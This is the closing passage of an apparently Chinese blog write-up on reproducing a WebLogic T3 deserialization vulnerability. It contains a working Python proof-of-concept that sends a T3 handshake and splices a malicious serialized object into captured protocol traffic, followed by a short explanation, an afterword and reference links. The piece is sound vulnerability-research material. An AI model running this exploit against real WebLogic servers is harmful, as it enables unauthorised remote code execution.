header = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a"
header = binascii.unhexlify(header)
sock.sendall(header)
res = sock.recv(1024)
serialize_exp = open("poc.ser","rb").read()
payload = b'\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload = payload + serialize_exp
payload = payload + \
b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
payloadLength = len(payload)+4
temp = struct.pack('>I', payloadLength)
payload = temp + payload
sock.send(payload)
res2 = sock.recv(1024)
print(res2)
python脚本的思路其实很简单,就是先发送t3协议的请求headerb't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
,sock.recv接收一下服务器版本信息,然后发送payload过去。payload的构造来说,开头4个字节是总的payload的长度,再往后是通过t3协议的正常流量抓包dump下来的序列化数据,我们把其中一段数据换成了恶意序列化数据,拼接在一起。
虽然服务器端报错了,但是确实成功执行了。后续有时间再看一下为什么报错。End!
5. 后记
作为没接触过java漏洞的新手,在复现这个漏洞时确实花了好长时间,一方面是在搭建环境的过程中坑太多,另一方面是个人对于java相关的知识了解的不够深入,在复现过程中参考了大量文章,都已放在参考链接中,希望这篇文章能够帮到之后复现漏洞分析的人。
参考链接
- https://www.jianshu.com/p/38033935a914
- https://www.anquanke.com/post/id/219985#h2-10
- https://www.cnblogs.com/ph4nt0mer/p/11772709.html
- https://my.oschina.net/u/4587690/blog/4536037
- https://cloud.tencent.com/developer/article/1516342
- https://paper.seebug.org/1316/
- https://xz.aliyun.com/t/8164
- https://github.com/Maskhe/javasec
- https://www.anquanke.com/post/id/201432
-
-
-
-
-
-
没有评论